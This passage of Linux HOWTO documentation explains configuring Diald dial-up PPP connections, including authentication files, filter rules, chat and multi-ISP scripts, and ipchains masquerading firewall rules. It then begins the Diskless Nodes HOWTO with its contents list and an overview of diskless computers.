Simple example of /etc/ppp/pap-secrets:

_Username_ * _Password_

4.3 CHAP - Challenge Authentication Protocol

If the provider you are using requires CHAP as the authentication protocol, during the LCP negotiation in PPP this protocol will be asked to use this protocol. When the phone call is connected after using chat, pppd is started. In this scenario, pppd will send the username and the password, which it will look for in the /etc/ppp/chap-secrets file. This file must have read and write permissions only for root only, so that nobody else can read the passwords inside it.

CHAP is more secure than PAP, as the password is never sent through the transmission line in plaintext. The authentication server sends a random identifier (the challenge), that the client must encrypt with its password, and then send back to the server.

Simple example of /etc/ppp/chap-secrets:

_Username_ * _Password_

Sometimes an ISP uses PAP and other times CHAP, so it is common to define your username and password in both files.


Diald Howto: Notes about DNS name resolution

 Next Previous Contents

5. Notes about DNS name resolution

Everytime you connect to an ISP, it is necesary to have configured DNS name resolution, so your computer can find IP addresses associated to a computer name.

IP addresses of your DNS servers are placed into the /etc/resolv.conf file.

In a standalone computer connecting to Internet, this file usually contains the IP addresses of your ISP's DNS servers:

#/etc/resolv.conf file for ISPname
nameserver 111.222.333.444
nameserver 222.333.444.555

In a proxy/firewall computer, this file usually contains its own IP address (or the loopback address, 127.0.0.1), and this computer includes a DNS server that translates DNS names to IP addresses by querying external DNS servers.

#/etc/resolv.conf file for local DNS resolution
nameserver 127.0.0.1

Installation of a local DNS server is out of the scope of this document. There is a lot of documentation about this, but a good and quick approach can be found in the DNS-Howto ( http://www.linuxdoc.org/HOWTO/DNS-HOWTO.html).


Diald Howto: Connecting a standalone computer to an ISP using a modem and PPP

 Next Previous Contents

6. Connecting a standalone computer to an ISP using a modem and PPP

When configuring Diald to connect your computer to an ISP, the next steps will be necesary:

  • Getting the Diald package installed. The quickest way is to install the package that comes with your GNU/Linux distribution.
  • Configure DNS resolver (/etc/resolv.conf file).
  • Check that you can call an ISP. If your GNU/Linux distribution includes an utility to configure a connection, the quickest way will be to use it (pppconfig in Debian, kppp if you use KDE, etc). If you are having problems connecting to an ISP, the PPP-Howto ( http://www.linuxdoc.org/HOWTO/PPP-HOWTO.html), Modem-Howto ( http://www.linuxdoc.org/HOWTO/Modem-HOWTO.html) and Serial-Howto ( http://www.linuxdoc.org/HOWTO/Serial-HOWTO.html) documents can help you.
  • Configure username and password in the /etc/ppp/pap-secrets and /etc/ppp/chap-secrets files, as mentioned in previous sections.

And finally, going into Diald:

  • Prepare the Diald configuration file (/etc/diald/diald.options for version 0.16.5 and /etc/diald/diald.conf for later versions).
  • Prepare filters file /etc/diald/standard.filter, or better, leave that file as is, and modify a copy of it that you can call /etc/diald/personal.filter.
  • Prepare the script to make the call (/etc/diald/diald.connect with execute permissions for root) and instruction file for chat (/etc/chatscripts/provider), that will be used by the previous script.
  • Prepare scripts to be run when the link goes up and down (/etc/diald/ip-up and /etc/diald/ip-down) if you want to use it (both must have execute permissions for root).
  • Prepare script to set and delete routes (/etc/diald/addroute and /etc/diald/delroute) if you want (both must have execute permissions for root). This step is not necesary if you only use a single Diald instance.
  • Finally, start the diald daemon («/etc/init.d/diald start» in Debian, «/etc/rc.d/init.d/diald start» in RedHat). Normally, Diald package installation process prepares the scripts to run Diald when the computer boot up in the /etc/rcX.d directories.

If you make any change in the Diald config file when it is running, it is necesary to restart it («/etc/init.d/diald restart» in Debian, «/etc/rc.d/init.d/diald restart» in RedHat).

6.1 /etc/diald/diald.options or diald.conf file

In this example file you must check for:

  • Comm port where your modem is connected. Option device.
  • Comm port speed to talk with modem. Option speed.
  • User name to be used in ppp. Option pppd-options.
  • Retry counters and timers.
  • Enabled connection hours. Options restrict.
  • Decide if you want to use the ip-up and ip-down scripts. Options ip-up and ip-down.
  • Decide if you want to use the addroute and delroute scripts. Options addroute and delroute. Generally it is not needed to modify this scripts, but if you use more than one instance of Diald or have a complex configuration, you need it.
  • Decide if you use the standar or personal filter file. Options include.

##########################
# /etc/diald/diald.options

# Device where your modem is connected
device /dev/ttyS0

# Log file
accounting-log /var/log/diald.log

# Monitoring queue
#fifo /var/run/diald/diald.fifo

# Debug activation
# Activating debug reduces performance
#debug 31

# We use PPP as encapsulator
mode ppp

# Local IP (when you connect this address is automatically modified
# with the ip assigned by your ISP if you use the dinamic option).
local 127.0.0.5

# Remote IP (when you connect this address is automatically modified
# with the ip of the remote server that receives our call).
remote 127.0.0.4

# Subnet mask for the wan link
netmask 255.255.255.0

# The IP addresses will be asigned when connection starts.
dynamic

# If link goes down by remote end, start it again only if there is
# outgoing packets.
two-way

# When link is up, route directly to the real ppp interface, not the proxy
# interface. Not to do this is a performance lost of about 20 per cent.
# There are old kernels that do not support reroute. See diald manual for
# more information
reroute

# Diald will set up the default route the the SLIP interface used as proxy
defaultroute

# Script to set up personalized routes
#addroute "/etc/diald/addroute"
#delroute "/etc/diald/delroute"

# Scripts to execute when the link is up and ready or down and closed.
# In Diald versions 0.9x there is another option called ip-goingdown that
# can be used to run commands when the link is going to be down but is
# still up.
ip-up /etc/diald/ip-up
#ip-down /etc/diald/ip-down

# Scripts used to connect or disconnect the interface
connect "/etc/diald/diald.connect"
#disconnect "/etc/diald/diald.disconnect"

# Use UUCP lock to signal the device is being used
#lock

# We connect over a modem. WARNING: Do not especify this options in the
# ppp options file, because they will conflict with the diald options. To
# see what ppp options that you can not use in the pppd-options option,
# see the diald man page and search for pppd-options
modem
crtscts
speed 115200

# Some timers and retry options
# See Diald man page for more information
connect-timeout 120
redial-timeout 60
start-pppd-timeout 120
died-retry-count 0
redial-backoff-start 4
redial-backoff-limit 300
dial-fail-limit 10

# Options to be passed to pppd
# This options can be included in the /etc/ppp/options file, that are the
# default options for pppd, but if you need to use different
# configurations of diald for more than one instance, you must put it here
# noauth - do not ask remote for authenticaion.
#          "Infovía Plus" (Spain) do not identify to our machine
# user - our username and isp. Ask your isp for the sintaxis. Some isps,
#        do not need the @isp
pppd-options noauth user usuario@isp

# Hour restriccions.
# This section must be before filters.
# The restrict command is experimental, and can change in other versions
# of diald. Check the man page. (this example has been checked for 0.16,
# but i think it runs in later versions).
# Example: only use in the night from monday to friday, and all day in
# saturday and sunday.
restrict 8:00:00 18:00:00 1-5 * *
down
restrict * * * * *

# No special tarificaion considerations
# (first seconds included in the setup cost, tarify unit in seconds,
# time in seconds to check if it is good to go down)
#impulse 0,0,0
# Bononet Noche (Spain-Telefónica) is billed in seconds after the 160
# first seconds
impulse 160,0,0
# if it would be billed in minuttes and the first 10 will be billed
# always:
#impulse 600,60,10

# Standar filters
#include /etc/diald/standard.filter
# or personal filters
include /etc/diald/personal.filter

6.2 Personal filters file

Manipulation of this file must be done very carefully. This file is used to decide when and why to start up the line, maintain it, bring down the line or ignore a packet, depending on the traffic type.

Generally, the Diald standar filter file is sufficient for most cases, but perhaps, it may be too restrictive or not restrictive enough in some situations. The personal.filter file that is shown has some corrections over the original from the 0.16 version.

In next versions of this document, other commented more restrictive examples will be included.

# /etc/diald/personal.filter
# Filter rules shown are the same as in the standard.filter with the
# following changes:
#
# Change 10 to 4 minuttes in "any other tcp conection".
# Added "ignore tcp tcp.fin" to ignore the FIN ACK packets.
# Ignore icmp packets (ping and traceroute don't fire up the interface).
#

# This is a pretty complicated set of filter rules.
# (These are the rules I use myself.)
#
# I've divided the rules up into four sections.
# TCP packets, UDP packets, ICMP packets and a general catch all rule
# at the end.

ignore icmp any

#------------------------------------------------------------------------------
# Rules for TCP packets.
#------------------------------------------------------------------------------
# General comments on the rule set:
#
# In general we would like to treat only data on a TCP link as significant
# for timeouts. Therefore, we try to ignore packets with no data.
# Since the shortest possible set of headers in a TCP/IP packet is 40 bytes,
# any packet with length 40 must have no data riding in it.
# We may miss some empty packets this way (optional routing information
# and other extras may be present in the IP header), but we should get
# most of them. Note that we don't want to filter out packets with
# tcp.live clear, since we use them later to speedup disconnects
# on some TCP links.
#
# We also want to make sure WWW packets live even if the TCP socket
# is shut down. We do this because WWW doesn't keep connections open
# once the data has been transfered, and it would be annoying to have the link
# keep bouncing up and down every time you get a document.
#
# Outside of WWW the most common use of TCP is for long lived connections,
# that once they are gone mean we no longer need the network connection.
# We don't neccessarily want to wait 10 minutes for the connection
# to go down when we don't have any telnet's or rlogin's running,
# so we want to speed up the timeout on TCP connections that have
# shutdown. We do this by catching packets that do not have the live flag set.

# --- start of rule set proper ---

# When initiating a connection we only give the link 15 seconds initially.
# The idea here is to deal with possibility that the network on the opposite
# end of the connection is unreachable. In this case you don't really
# want to give the link 10 minutes up time. With the rule below
# we only give the link 15 seconds initially. If the network is reachable
# then we will normally get a response that actually contains some
# data within 15 seconds. If this causes problems because you have a slow
# response time at some site you want to regularly access, you can either
# increase the timeout or remove this rule.
accept tcp 15 tcp.syn

# Keep named xfers from holding the link up
ignore tcp tcp.dest=tcp.domain
ignore tcp tcp.source=tcp.domain

# (Ack! SCO telnet starts by sending empty SYNs and only opens the
# connection if it gets a response. Sheesh..)
accept tcp 5 ip.tot_len=40,tcp.syn

# keep empty packets from holding the link up (other than empty SYN packets)
ignore tcp ip.tot_len=40,tcp.live

# Modification by Andres Seco to ignore the FIN ACK packets.
ignore tcp tcp.fin

# make sure http transfers hold the link for 2 minutes, even after they end.
# NOTE: Your /etc/services may not define the tcp service www, in which
# case you should comment out the following two lines or get a more
# up to date /etc/services file. See the FAQ for information on obtaining
# a new /etc/services file.
accept tcp 120 tcp.dest=tcp.www
accept tcp 120 tcp.source=tcp.www
# Same for https
accept tcp 120 tcp.dest=tcp.443
accept tcp 120 tcp.source=tcp.443

# Once the link is no longer live, we try to shut down the connection
# quickly. Note that if the link is already down, a state change
# will not bring it back up.
keepup tcp 5 !tcp.live
ignore tcp !tcp.live

# an ftp-data or ftp connection can be expected to show reasonably frequent
# traffic.
accept tcp 120 tcp.dest=tcp.ftp
accept tcp 120 tcp.source=tcp.ftp

#NOTE: ftp-data is not defined in the /etc/services file provided with
# the latest versions of NETKIT, so I've got this commented out here.
# If you want to define it add the following line to your /etc/services:
# ftp-data        20/tcp
# and uncomment the following two rules.
#accept tcp 120 tcp.dest=tcp.ftp-data
#accept tcp 120 tcp.source=tcp.ftp-data

# If we don't catch it above, give the link 10 minutes up time.
#accept tcp 600 any
# Modificacion de Andres Seco. Solo dejar 4 minutos mas.
accept tcp 240 any

# Rules for UDP packets
#
# We time out domain requests right away, we just want them to bring
# the link up, not keep it around for very long.
# This is because the network will usually come up on a call
# from the resolver library (unless you have all your commonly
# used addresses in /etc/hosts, in which case you will discover
# other problems.)
# Note that you should not make the timeout shorter than the time you
# might expect your DNS server to take to respond. Otherwise
# when the initial link gets established there might be a delay
# greater than this between the initial series of packets before
# any packets that keep the link up longer pass over the link.

# Don't bring the link up for rwho.
ignore udp udp.dest=udp.who
ignore udp udp.source=udp.who
# Don't bring the link up for RIP.
ignore udp udp.dest=udp.route
ignore udp udp.source=udp.route
# Don't bring the link up for NTP or timed.
ignore udp udp.dest=udp.ntp
ignore udp udp.source=udp.ntp
ignore udp udp.dest=udp.timed
ignore udp udp.source=udp.timed
# Don't bring up on domain name requests between two running nameds.
ignore udp udp.dest=udp.domain,udp.source=udp.domain
# Bring up the network whenever we make a domain request from someplace
# other than named.
accept udp 30 udp.dest=udp.domain
accept udp 30 udp.source=udp.domain
# Do the same for netbios-ns broadcasts
# NOTE: your /etc/services file may not define the netbios-ns service
# in which case you should comment out the next three lines.
ignore udp udp.source=udp.netbios-ns,udp.dest=udp.netbios-ns
accept udp 30 udp.dest=udp.netbios-ns
accept udp 30 udp.source=udp.netbios-ns
# keep routed and gated transfers from holding the link up
ignore udp tcp.dest=udp.route
ignore udp tcp.source=udp.route
# Anything else gest 2 minutes.
accept udp 120 any

# Catch any packets that we didn't catch above and give the connection
# 30 seconds of live time.
accept any 30 any

6.3 Making the call

/etc/diald/diald.connect file (it must have execute permission):

/usr/sbin/chat -f /etc/chatscripts/provider

/etc/chatscripts/provider file. In this example file you must check the destination phone number:

ABORT BUSY
ABORT "NO CARRIER"
ABORT VOICE
ABORT "NO DIALTONE"
ABORT "NO ANSWER"
"" ATZ
OK ATDT123456789
CONNECT \d\c

6.4 Connection start script

It must have execute permission.

This script can be used to many tasks (synchronize time, send the queued mail, get incoming mail, etc.).

In the example, a message is sent to root with data passed to the script (interface, subnet mask, local ip address, remote ip address and cost for routing):

#!/bin/sh

iface=$1
netmask=$2
localip=$3
remoteip=$4
metric=$5

# Set the time and date
# netdate ntp.server.somecountry

# Run the mail queue
# runq

echo `date` $1 $2 $3 $4 $5 | mail -s "diald - conecting" root@localhost


Diald Howto: Conecting a computer to a group of different ISPs with a modem and PPP

 Next Previous Contents

7. Conecting a computer to a group of different ISPs with a modem and PPP

Many times, one standalone computer does not only connect to just one network. It is common to connect to different networks or to the Internet using some different service providers. In this case, changing configuration files each time you want to connect to a different site can be annoying.

The solution i propose here consist in using different sets of configuration files for each different connection. You can find here some scripts to automate changing from one to another.

7.1 Note about sending mail using a relay host

If your email client program uses a local Message Transfer Agent with a smtp relay host to send all messages, or if you use a email client program that sends the messages directly to your provider's smtp server, changing where you are connecting means you need to reconfigure this option for the smtp relay server. This is because the providers usually check if the receipt mailbox is local or to any domain directly maintained by this provider or if the origin ip address is from the range of ip addresses that this provider assigns, to avoid having an open relay server that can be used to send spam, anonymous message and so on.

In the following examples, you will find how to change this parameter in the Smail configuration files in a simple configuration where all external messages are sent to a smtp relay server. If you use another Message Transfer Agent (MTA) in your system, you can send me what you must change in your MTA to include it here. If you use an email client program that directly sends to the external smtp server (Kmail, Netscape, etc.) send me your changes too.

7.2 Scripts to automate multiple connections and changing from one to another

Starting up

First of all, create a subdirectory of /etc/diald called providers where you store your scripts to automatically change from one to another provider and the subdirectories with the set of files to configure each of the providers connections.

With the next script this directory is created and filled with the current configuration files from Diald, chat, pppd and Smail, that will be treated as a template for the next configurations.

#!/bin/sh
#File /etc/diald/providers/setupdialdmultiprovider
mkdir /etc/diald/providers
mkdir /etc/diald/providers/setup
cp /etc/ppp/pap-secrets /etc/diald/providers/setup
cp /etc/ppp/chap-secrets /etc/diald/providers/setup
cp /etc/resolv.conf /etc/diald/providers/setup
cp /etc/diald/diald.options /etc/diald/providers/setup
cp /etc/diald/standard.filter /etc/diald/providers/setup
cp /etc/diald/personal.filter /etc/diald/providers/setup
cp /etc/diald/diald.connect /etc/diald/providers/setup
cp /etc/chatscripts/provider /etc/diald/providers/setup
cp /etc/diald/ip-up /etc/diald/providers/setup
cp /etc/diald/ip-down /etc/diald/providers/setup
cp /etc/smail/routers /etc/diald/providers/setup

New provider

With the next script the template configuration will be copied to a new directory to prepare it for a new provider connection or a new net connection. This script (/etc/diald/providers/newdialdprovider) will need a parameter with the provider or net name.

#!/bin/sh
#File /etc/diald/providers/newdialdprovider
mkdir /etc/diald/providers/$1
cp /etc/diald/providers/setup/* /etc/diald/providers/$1

Now, you will modify as you need the new files in /etc/diald/providers/provdidername, being providername the parameter passed to newdialdprovider.

Changing from one to another

At the end, with this script you will change all your configuration files related to Diald to connect to another provider or net. I use symbolic links to avoid using duplicate files. Using symbolic links, if you change any config file in its original location like /etc/resolv.conf, the change is really made in the /etc/diald/providers/providername/resolv.conf file.

#!/bin/sh
#File /etc/diald/providers/setdialdprovider
/etc/init.d/diald stop
#wait for Diald to stop.
sleep 4
ln -sf /etc/diald/providers/$1/pap-secrets /etc/ppp
ln -sf /etc/diald/providers/$1/chap-secrets /etc/ppp
ln -sf /etc/diald/providers/$1/resolv.conf /etc
ln -sf /etc/diald/providers/$1/diald.options /etc/diald
ln -sf /etc/diald/providers/$1/standard.filter /etc/diald
ln -sf /etc/diald/providers/$1/personal.filter /etc/diald
ln -sf /etc/diald/providers/$1/diald.connect /etc/diald
ln -sf /etc/diald/providers/$1/provider /etc/chatscripts
ln -sf /etc/diald/providers/$1/ip-up /etc/diald
ln -sf /etc/diald/providers/$1/ip-down /etc/diald
ln -sf /etc/diald/providers/$1/routers /etc/smail
/etc/init.d/diald start


Diald Howto: Connecting a proxy/firewall to an ISP using a modem and PPP

 Next Previous Contents

8. Connecting a proxy/firewall to an ISP using a modem and PPP

Connecting a private net to the Internet with dedicated server which handles packet routing from the local network to the Internet along with proxy/caching services and security firewalling is a complex theme that is beyond the scope of this document. There are other «Howto» documents that handle these topics much more comprehensively. At the end of this document you can find a list of links and references to such documents.

Here, we are only configuring Diald supposing that the computer already uses IP-Masquerading, has a web proxy like Squid or similar working, an ISP connection correctly configured and that access security to TCP/UDP ports have been revised (/etc/inetd.conf file and others like securetty, host.allow, etc).

Basically, the only need is to reconfigure the rules for masquerading/filtering/accessing each time the set of interfaces change, that is, when the interface ppp0 is stablished and when it is deleted. A good location to do that are the ip-up and ip-down scripts from pppd.

8.1 Example for Debian 2.1

With Debian, it is sufficient to install the ipmasq package answering that you want to change rules sinchronously with pppd when seting it up. Two scripts will be created inside /etc/ppp/ip-up.d and /etc/ppp/ip-down.d directories to call /sbin/ipmasq, a script that analizes existing interfaces and makes a simple configuration that is valid in many cases, but you can personalize it using rule files in /etc/ipmasq/rules.

The only correction after installing this package is to change when the startup script for ipmasq is run, deleting the symbolic link from /etc/rcS.d and creating a new one in /etc/rc2.d to run it after S20diald. Now, when ipmasq is executed to analyze interfaces sl0 already exist. S90ipmasq is a good name for this symbolic link to /etc/init.d/ipmasq.

Using Debian there is no need to worry about the kernel version, as the /sbin/ipmasq script uses ipfwadm or ipchains as needed.

8.2 Example for Suse 6.1

This example is from Mr Cornish Rex, troll@tnet.com.au.

The following ip-masp and routing control commands are for use with version 2.2 kernels, using ipchains, but they are not valid for version 2.0 kernels.

We are going to supose that the ethernet interface has the 192.168.1.1 ip address with 16 bit netmask, that is, 255.255.0.0.

This is the /etc/ppp/ip-up file:

#!/bin/sh
# $1 = Interface
# $2 = Tty device
# $3 = speed
# $4 = local ip
# $5 = remote ip
# $6 = ipparam
/sbin/ipchains -F input
/sbin/ipchains -P input DENY
/sbin/ipchains -A input -j ACCEPT -i eth0 -s 192.168.0.0/16 -d 0.0.0.0/0
/sbin/ipchains -A input -j DENY -p udp -i $1 -s 0.0.0.0/0 -d $4/32 0:52 -l
/sbin/ipchains -A input -j DENY -p udp -i $1 -s 0.0.0.0/0 -d $4/32 54:1023 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 0:112 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 114:1023 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 6000:6010 -l
/sbin/ipchains -A input -j DENY -p icmp --icmp-type echo-request \
-i $1 -s 0.0.0.0/0 -l
/sbin/ipchains -A input -j DENY -p icmp -f -i $1 -s 0.0.0.0/0 -l
/sbin/ipchains -A input -j DENY -p udp -i $1 -s 0.0.0.0/0 -d $4/32 5555 -l
/sbin/ipchains -A input -j DENY -p udp -i $1 -s 0.0.0.0/0 -d $4/32 8000 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 8000 -l
/sbin/ipchains -A input -j DENY -p udp -i $1 -s 0.0.0.0/0 -d $4/32 6667 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 6667 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 4557 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 4559 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 4001 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 2005 -l
/sbin/ipchains -A input -j DENY -p tcp -i $1 -s 0.0.0.0/0 -d $4/32 6711 -l
/sbin/ipchains -A input -j DENY -i $1 -s 192.168.0.0/16 -d 0.0.0.0/0 -l
/sbin/ipchains -A input -j ACCEPT -i $1 -s 0.0.0.0/0 -d $4/32
/sbin/ipchains -A input -j ACCEPT -i lo -s 0.0.0.0/0 -d 0.0.0.0/0
/sbin/ipchains -A input -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 -l

/sbin/ipchains -F output
/sbin/ipchains -P output DENY
/sbin/ipchains -A output -j ACCEPT -i eth0 -s 0.0.0.0/0 -d 192.168.0.0/16
/sbin/ipchains -A output -j DENY -i $1 -s 192.168.0.0/16 -d 0.0.0.0/0 -l
/sbin/ipchains -A output -j ACCEPT -i $1 -s $4/32 -d 0.0.0.0/0
/sbin/ipchains -A output -j ACCEPT -i lo -s 0.0.0.0/0 -d 0.0.0.0/0
/sbin/ipchains -A output -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0

/sbin/ipchains -F forward
/sbin/ipchains -P forward DENY
/sbin/ipchains -M -S 120 120 120
/sbin/ipchains -A forward -j MASQ -s 192.168.1.0/24
/sbin/ipchains -A forward -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0

exit 0

This is the /etc/ppp/ip-down file:

#!/bin/sh
# $1 = Interface
# $2 = Tty device
# $3 = Speed
# $4 = Local ip
# $5 = Remote ip
/sbin/ipchains -F input
/sbin/ipchains -F output
/sbin/ipchains -F forward
/sbin/ipchains-restore < /etc/ppp/orig.chains

Last file in last script, orig.chains, is the following file (original status of ipchains):

# orig.chains
# created with: ipchains-save > orig.chains
:input ACCEPT
:forward ACCEPT
:output ACCEPT
-A input -s 0.0.0.0/0.0.0.0 -d 192.168.1.1/255.255.255.255
-A output -s 192.168.1.1/255.255.255.255 -d 0.0.0.0/0.0.0.0

8.3 Example for Slackware 3.6

This example is from Hoo Kok Mun, hkmun@pacific.net.sg.

This is the most simple example i have seen, but fully functional. From the beginning, this example configures masquerading, before the sl0 interface exists, and it does not change when the ppp0 interface appears. If you need advanced security considerations, it may be a little limited.

#/etc/rc.d/rc.local
/sbin/ipfwadm -F -p deny
/sbin/ipfwadm  -F -a m -S 192.168.0.0/24 -D 0.0.0.0/0

As you can see, it is for version 2.0 kernels.


Diald Howto: Programs and versions used

 Next Previous Contents

9. Programs and versions used

To write this document i have used the following diald versions:

  • Diald 0.16.5 - Last version maintained by the original diald autor.
  • Diald 0.99.3 - Last version until the first edition of this document.

And the following pppd versions:

  • pppd 2.3.5

Diald 0.16.5 version is perhaps the most extended, and the one that many Linux distributions include. It is suficient for many sites, and it is very reliable, but, of course, later versions have many interesting capabilites.


Diald Howto: More information

 Next Previous Contents

10. More information

Original information from where this document has been obtained can be found in the man pages about diald, diald-examples, diald-control, diald-monitor, dctrl, pppd, chat, as well as from information in the /usr/doc directories and in web pages of this packages:

  • New Diald Official Home Page: http://diald.sourceforge.net/
  • Download of new versions: ftp://diald.sourceforge.net/pub/diald/
  • Previous Diald home page: http://diald.unix.ch
  • Old Diald home page until 0.16.5 version: http://www.loonie.net/~erics/diald.html
  • pppd FTP site: ftp://cs.anu.edu.au/pub/software/ppp/
  • Other site: http://www.p2sel.com/diald
  • One more: http://rufus.w3.org/linux/RPM/

There is a mailing list for discussion about diald on David S. Miller's mailing list server at vger.rutgers.edu. To subscribe, send a message to Majordomo@vger.rutgers.edu with the text «subscribe linux-diald» IN THE MESSAGE BODY.

An archive of the list can be found in http://www.geocrawler.com.

There are also multiple RFC documents (Request For Comments) that define how the PPP encapsulated lines and its associated protocols (LCP, IPCP, PAP, CHAP, ...) must work. You can find these documents in the /usr/doc/doc-rfc directory and some World Wide Web sites, like http://metalab.unc.edu and http://nic.mil/RFC. You can ask for information about RFCs in RFC-INFO@ISI.EDU.

The following «Howtos» can help you:

  • DNS-HOWTO - http://www.linuxdoc.org/HOWTO/DNS-HOWTO.html
  • Firewall-HOWTO - http://www.linuxdoc.org/HOWTO/Firewall-HOWTO.html
  • IP-Masquerade-HOWTO - http://www.linuxdoc.org/HOWTO/IP-Masquerade-HOWTO.html
  • IPCHAINS-HOWTO - http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html
  • Modem-HOWTO - http://www.linuxdoc.org/HOWTO/Modem-HOWTO.html
  • NET3-4-HOWTO - http://www.linuxdoc.org/HOWTO/NET3-4-HOWTO.html
  • PPP-HOWTO - http://www.linuxdoc.org/HOWTO/PPP-HOWTO.html
  • Serial-HOWTO - http://www.linuxdoc.org/HOWTO/Serial-HOWTO.html


Diskless Nodes HOW-TO document for Linux

Robert Nemkin buci@math.klte.hu , Al Dev (Alavoor Vasudevan) - Maintainer of this HOWTO alavoor[AT]yahoo.com , Markus Gutschke markus+etherboot@gutschke.com , Ken Yap ken.yap@acm.org , Gero Kuhlmann gero@gkminix.han.de

v22.6, 12 Feb 2002

This document describes how to set up a diskless Linux box. As technology is advancing rapidly, network-cards are becoming cheaper and much faster - 100 MBits ethernet is standard now and in about 1 to 2 years 1000 MBits i.e. 1GigBits ethernet cards will become an industry standard. With high-speed network cards, remote access will become as fast as the local disk access which will make diskless nodes a viable alternative to workstations in local LAN. Also diskless nodes eliminates the cost of software upgrades and system administration costs like backup, recovery which will be centralized on the server side. Diskless nodes also enable "sharing/optimization" of centralized server CPU, memory, hard-disk, tape and cdrom resources. Diskless nodes provides mobility for the users i.e., users can log on from any one of diskless nodes and are not tied to one workstation. Diskless Linux box completely eliminates the need for local floppy disk, cdrom drive, tape drive and hard-disk. Diskless nodes JUST has a network card, 8MB RAM, a low-end cpu and a very simple mother-board which does not have any interface sockets/slots for hard-disks, modem, cdrom, floppy etc.. With Diskless linux nodes you can run programs on remote Linux 64 CPU SMP box or even on Linux super-computer! Diskless nodes lowers the "Total Cost of Ownership" of the computer system. This document is copyrighted by Robert Nemkin and other authors as listed above. Copyright policy is GPL. Thanks to Bela Kis bkis@cartan.math.klte.hu for translating this initial document v0.0.3 (which was a mini-howto) to English.

1. What is this all about?

2. Advantages of Diskless Computer

3. Diskless with "Live Linux CDROM"

  • 3.1 Build a Live Linux CDROM

4. Buying is Cheaper Than Building!

5. Internet Cafe and Financial Banking with "Diskless Linux"

  • 5.1 Setup IP Masquerading, IP Netfilter and Squid

6. Diskless Computer for Microsoft Windows 95/NT !!

  • 6.1 VMWare package
  • 6.2 Plex86 package
  • 6.3 VNC package from AT and T

7. Quick Steps to implement Diskless Nodes

  • 7.1 Linux Terminal Server Project - LTSP

8. EEPROMs or Flash ROMs?

9. Building EEPROM Burner

  • 9.1 What is this ?
  • 9.2 Supported EEPROMs
  • 9.3 Schematics and pinouts
  • 9.4 Construction
  • 9.5 Jumper setup
  • 9.6 Low-justification of 24-pin EEPROM devices
  • 9.7 Parts List
  • 9.8 If you have already built EEP-0.1
  • 9.9 How to build the software
  • 9.10 Usage
  • 9.11 Schematic Diagram in ASCII

10. EPROM Burners and Memory chips

  • 10.1 Non-Volatile Memory chips
  • 10.2 List of EEPROM Burner manufacturers

11. Introduction to Network Booting and Etherboot

  • 11.1 What is Network booting?
  • 11.2 How does it work
  • 11.3 Netbooting in Practice
  • 11.4 Uses of Network booting
  • 11.5 For more information

12. Redhat Linux configuration

  • 12.1 X-terminal

13. LanWorks BootWare PROMs

14. Etherboot

15. Netboot

  • 15.1 Introduction
  • 15.2 Mailing list
  • 15.3 Netboot useful links

16. Related URLs

17. Copyright Notice

18. Other Formats of this Document

  • 18.1 Acrobat PDF format
  • 18.2 Convert Linuxdoc to Docbook format
  • 18.3 Convert to MS WinHelp format
  • 18.4 Reading various formats

19. Topics for Academics and Universities


Diskless Nodes HOW-TO document for Linux: What is this all about?

 Next Previous Contents

1. What is this all about?

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Diskless Linux Computers do not have any hard-disk, floppy drives and tape drives. They offer significant savings in "Total Cost of Ownership" by eliminating the maintenance costs. You can accomplish Diskless Linux Computer by one of the following two methods:

  1. Boot directly a Live Linux CDROM. The Linux CDROM is live Linux system which contains all the applications and programs and loads the software into RAM disks.

  2. Recent linux kernels offer the possibility to boot a linux box entirely from network, by loading its kernel and root filesystem from a server. In that case, the client may use several ways to get the first instructions it has to execute when booting: home made eproms, special network cards implementing the RARP, BOOTP or DHCP protocols, cdroms, or bootloaders loaded from a boot floppy or a local hard drive.
The simplest and most easy method to build a diskless linux is by using Live Linux CDROM. You simply download Live Linux CDROM and insert it into the CDROM drive and power-on and you are done! For details see the "Live Linux CDROM" chapter in this document.

The other option is using a EPROM, but this will take extra work to be done on the client and the server box. If you want to go for EPROM method, I recommend you to simply buy Diskless Linux computers from the manufacturers as given in the following chapters.


Diskless Nodes HOW-TO document for Linux: Advantages of Diskless Computer

 Next Previous Contents

2. Advantages of Diskless Computer

Diskless linux computer will become immensely popular and will be the product of this century and in the next century. The diskless linux computers will be very successful because of the availability of very high-speed network cards at very low prices. Today 100 Megabit per second (11.92 Megabytes per sec transfer rate) network cards are common and in about 1 to 2 years 1000 MBit (119.2 Megabytes per sec transfer rate) network cards will become very cheap and will be the standard.

In near future, Monitor manufacturers will place the CPU, NIC, RAM right inside the monitor to form a diskless computer!! This eliminates the diskless computer box and saves space. The monitor will have outlet for mouse, keyboard, network RJ45 and power supply.

The following are benefits of using diskless computers -

  • NO time-consuming UPGRADES at all!! With 'Live Linux' CDROM upgrading diskless workstation is just "throw-away-old-CDROM-and-pop-in-new-CDROM-into-drive". Just takes 5 seconds to upgrade!!

  • Sharing of central server RAM memory by many diskless computer users. For example, if many users are using a web browser then in the server RAM there will be only one copy of web browser in the RAM. In case Windows 95 PCs, many users need to have individual copy of web browser in local RAM and hence there is wastage of RAM space. Since the RAM in server is "shared" by hundreds of diskless clients, this will be a huge savings in the cost of memory. You can pool the RAM memory by shifting memory from clients to server.

  • Diskless Linux computers can run BOTH MS Windows 95/NT and linux programs.

